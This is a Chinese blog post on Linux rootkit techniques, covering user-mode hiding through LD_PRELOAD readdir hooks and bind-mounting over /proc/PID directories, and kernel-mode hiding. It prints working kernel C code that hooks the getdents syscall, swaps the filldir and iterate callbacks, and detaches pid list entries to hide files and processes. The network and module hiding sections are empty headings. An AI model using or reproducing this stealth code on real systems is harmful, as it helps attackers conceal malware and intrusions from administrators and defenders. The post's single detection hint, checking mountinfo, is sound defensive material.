系统相关
首页 > 系统相关> > Linux Rootkit技术

Linux Rootkit技术

作者:互联网

一、介绍

 Rootkit这一概念最早出现于上个世纪九十年代初期,CERT Coordination Center(CERT/CC)于1994年在CA-1994-01这篇安全咨询报告中使用了Rootkit这个词汇。在这之后Rootkit技术发展迅速,这种快速发展的态势在2000年达到了顶峰。2000年后,Rootkit技术的发展也进入了低潮期,但是对于Rootkit技术的研究却并未停滞。在APT攻击日益流行的趋势下,Rootkit攻击和检测技术也同样会迎来新的发展高潮。

简而言之,Rootkit是一种隐藏程序的技术方法。

二、用户态rootkit

1.文件隐藏

先说一种简单的方法:将文件名命名为"."开头的名字,这样该文件为隐藏文件。

我们可以通过LD_PRELOAD环境变量来劫持libc库,实现hook readdir函数,进而隐藏目标文件。获取目录信息是通过readdir函数。

2.进程隐藏

/proc是一个伪文件系统,只存在于内核内存空间中,并不占用外存空间。/proc以文件系统的方式为用户态进程访问内核数据提供接口。

在/proc目录中,每一个进程都有一个相应的文件夹,以PID命名,里面有进程运行时的各种信息。

ps和top等命令都是基于/proc下的文件夹做查询并输出结果。

思路一:挂载其他目录代替PID目录

我们通过创建一个新目录,并将该目录挂载到目标/proc/PID目录下,这样/proc/PID目录下原本的内容就会被隐藏。原因是被挂载的目录会与挂载目录的内容一致,而被挂载目录的原本内容会被掩盖,最好真正生效的是安装的新文件系统的目录树。此外,绑定挂载不会影响文件系统上存储的内容,它是实时系统的属性。

使用命令如下:

mkdir test
mount -o bind test /proc/407645

 我们可以通过查看/proc/$$/mountinfo文件来检查是否通过该方法隐藏进程

cat /proc/$$/mountinfo

思路二:hook readdir函数 

方法同上面的文件隐藏。

 

三、内核态rootkit

1.文件或目录隐藏

对于目录的遍历主要是通过getdents或者getdents64函数实现的(比如ls命令查看目录下的内容),所以对目标文件或目录进行隐藏的方法之一就是hook该函数,设置过滤。

sys_getdents=(void *)sysCallTable[__NR_getdents];

getdents函数的定义如下:

SYSCALL_DEFINE3(getdents, unsigned int, fd,
        struct linux_dirent __user *, dirent, unsigned int, count)
{
    struct fd f;
    struct getdents_callback buf = {
        .ctx.actor = filldir,
        .count = count,
        .current_dir = dirent
    };
    int error;

    if (!access_ok(dirent, count))
        return -EFAULT;

    f = fdget_pos(fd);
    if (!f.file)
        return -EBADF;

    error = iterate_dir(f.file, &buf.ctx);
    if (error >= 0)
        error = buf.error;
    if (buf.prev_reclen) {
        struct linux_dirent __user * lastdirent;
        lastdirent = (void __user *)buf.current_dir - buf.prev_reclen;

        if (put_user(buf.ctx.pos, &lastdirent->d_off))
            error = -EFAULT;
        else
            error = count - buf.count;
    }
    fdput_pos(f);
    return error;
}

 

思路一:修改返回的dirent项

getents函数的实现在fs/readdir.c文件中,该函数主要是根据inode上的信息填写dirent结构体,再返回给用户。

也就是说,getents函数将获知的目录信息存储到成员变量dirent中,它是一个指针,因为对应的内存空间存储的可能是一组连续的linux_dirent结构体。其中,d_reclen变量为该结构体大小,通过它我们实现偏移,遍历每一个结构体的内容。getents函数的返回值为这个连续空间的大小。

struct linux_dirent64 {
    u64        d_ino;
    s64        d_off;
    unsigned short    d_reclen;
    unsigned char    d_type;
    char        d_name[];
};

 

我们可以通过修改目标文件所在的linux_dirent项的内容,或者跳过该项来实现文件隐藏。这里,我们选择修改上一项的d_reclen跳过目标项来实现文件隐藏。

代码如下:

long fake_sys_getdents (unsigned int fd,struct linux_dirent __user *dirp, unsigned int count,long ret){
    unsigned long off = 0;
    struct linux_dirent *dir, *kdir, *prev = NULL;

    if (ret <= 0)
        return ret;

    kdir = kzalloc(ret, GFP_KERNEL);
    if (kdir == NULL)
        return ret;

    if (copy_from_user(kdir, dirp, ret))//从用户空间拷贝到内核空间
    {
        kfree(kdir);
        return ret;
    }

    while (off < ret)
    {
        dir = (void *)kdir + off;
        if (strcmp((char *)dir->d_name, "目标文件名") == 0)
        {
            if (dir == kdir)
            {
                ret -= dir->d_reclen;
                memmove(dir, (void *)dir + dir->d_reclen, ret);
                continue;
            }
            prev->d_reclen += dir->d_reclen;
        }
        else
        {
            prev = dir;
        }
        off += dir->d_reclen;
    }
    if (copy_to_user(dirp, kdir, ret))
    {
        kfree(kdir);
        return ret;
    }
    kfree(kdir);
    return ret;
}

我们hook系统调用getdents,替换上我们的getdents函数,实现如下。

asmlinkage long hook_getdents(unsigned int fd,struct linux_dirent __user *dirp, unsigned int count){
    //printk(KERN_INFO"hook getdents!!");
    if(fileName->next==NULL){
        return real_sys_getdents(fd,dirp,count);
    }
    int ret = real_sys_getdents(fd,dirp,count);
    return fake_sys_getdents(fd,dirp,count,ret);
}

 

思路二:替换函数

我们通过逆向系统调用getdents,发现每一个目录项(文件信息或目录信息)最后都是通过.ctx.actor中设置的回调函数filldir填写的,该函数负责将inode中的文件信息填写到dirent中。调用链为:getdents -> iterate_dir -> iterate/iterate_share -> .ctx.actor中设置的回调函数filldir。其中,如果iterate_share函数指针不为空,则调用该指针,否则调用iterate函数指针的函数处理。

因此,我们通过hook iterate函数和iterate_share函数,然后在其中将.ctx.actor的内容替换为我们的fake_filldir函数地址,而fake_filldir函数中当发现填写到目标文件时进行跳过,从而实现文件隐藏。

filldir函数实现如下:

static int filldir(struct dir_context *ctx, const char *name, int namlen,
           loff_t offset, u64 ino, unsigned int d_type)
{
    struct linux_dirent __user *dirent, *prev;
    struct getdents_callback *buf =
        container_of(ctx, struct getdents_callback, ctx);
    unsigned long d_ino;
    int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namlen + 2,
        sizeof(long));
    int prev_reclen;

    buf->error = verify_dirent_name(name, namlen);
    if (unlikely(buf->error))
        return buf->error;
    buf->error = -EINVAL;    /* only used if we fail.. */
    if (reclen > buf->count)
        return -EINVAL;
    d_ino = ino;
    if (sizeof(d_ino) < sizeof(ino) && d_ino != ino) {
        buf->error = -EOVERFLOW;
        return -EOVERFLOW;
    }
    prev_reclen = buf->prev_reclen;
    if (prev_reclen && signal_pending(current))
        return -EINTR;
    dirent = buf->current_dir;
    prev = (void __user *) dirent - prev_reclen;
    if (!user_access_begin(prev, reclen + prev_reclen))
        goto efault;

    /* This might be 'dirent->d_off', but if so it will get overwritten */
    unsafe_put_user(offset, &prev->d_off, efault_end);
    unsafe_put_user(d_ino, &dirent->d_ino, efault_end);
    unsafe_put_user(reclen, &dirent->d_reclen, efault_end);
    unsafe_put_user(d_type, (char __user *) dirent + reclen - 1, efault_end);
    unsafe_copy_dirent_name(dirent->d_name, name, namlen, efault_end);
    user_access_end();

    buf->current_dir = (void __user *)dirent + reclen;
    buf->prev_reclen = reclen;
    buf->count -= reclen;
    return 0;
efault_end:
    user_access_end();
efault:
    buf->error = -EFAULT;
    return -EFAULT;
}

而我们的实现代码如下:

int fake_filldir(struct dir_context *ctx, const char *name, int namlen,              loff_t offset, u64 ino, unsigned d_type) {
    if(strcmp(name, "目标文件名") == 0){         return 0;     }     return real_filldir(ctx, name, namlen, offset, ino, d_type); }
int fake_iterate(struct file *filp, struct dir_context *ctx) {     real_filldir = ctx->actor;
    *(filldir_t *)&ctx->actor = fake_filldir;     return real_iterate(filp, ctx); }
asmlinkage long hook_getdents2(unsigned int fd,struct linux_dirent __user *dirp, unsigned int count){     //printk(KERN_INFO"hook getdents!!");     if(fileName->next==NULL){         return real_sys_getdents(fd,dirp,count);     }     struct fd f = fdget_pos(fd);     struct file* pfile = f.file;     if( pfile->f_op->iterate_shared != NULL )     {         real_iterate = pfile->f_op->iterate_shared;         pfile->f_op->iterate_shared = fake_iterate;     }     else     {         real_iterate = pfile->f_op->iterate;         pfile->f_op->iterate = fake_iterate;     }
    return real_sys_getdents(fd,dirp,count); }

 

2.进程隐藏

 思路一:隐藏/proc/PID目录

用户态的进程都是通过访问proc文件系统中的进程对应的PID目录下的内容来获取目标进程信息,如ps命令就是如此。下图为"strace ps"的部分执行结果。

 所以,我们可以通过隐藏/proc/PID目录就可以实现进程隐藏。

 思路二:摘掉pid链节点

在介绍该思路前,不得不提摘链隐藏的思路。该思路会对现在版本的内核造成许多隐患,不建议轻易使用。CPU调度进程离不开task_struct,如果在CPU调度时找不到该进程,会导致崩溃。并且摘链是销毁进程的一步,进程描述符task_struct没了,但是分配的资源还没有释放掉,这也会造成隐患。我们的目的是隐藏进程,而不是干掉进程。

关于task_struct结构体的重要成员介绍:

-1 --- no running
1 ---- running
8 ---- traced
0x40 --- forked but not exec
0x100 ---- super-user privilege
0x400 ---- killed by a signal
0x40000 --- I am a kswapd
0x200000 --- kernel thread
0 --- 表示不需要被ptrace
1 --- 表示在被ptrace,PT_PTRACED
2 --- 表示PT_DTRACE

 

 

 

实现代码如下:

#include <linux/pid_namespace.h>
void hideProcess(int pid){
    struct pid *hiden_pid = NULL;

    hiden_pid = find_vpid(pid);
    hiden_pid->tasks[PIDTYPE_PID].first=NULL;
}

 

3.网络隐藏

用户态的进程可以通过读取/proc/net/tcp文件来获取当前的tcp连接信息,而我们需要隐藏其中的某一项。 

 

 

4.内核模块隐藏

 

 

 

四、参考

https://github.com/TangentHuang/ucas-rootkit

https://github.com/g0dA/linuxStack/blob/master/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%E6%8A%80%E6%9C%AF%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2-%E6%94%BB%E7%AF%87.md

标签:reclen,struct,getdents,技术,Rootkit,user,Linux,dirent,buf
来源: https://www.cnblogs.com/glodears/p/16488553.html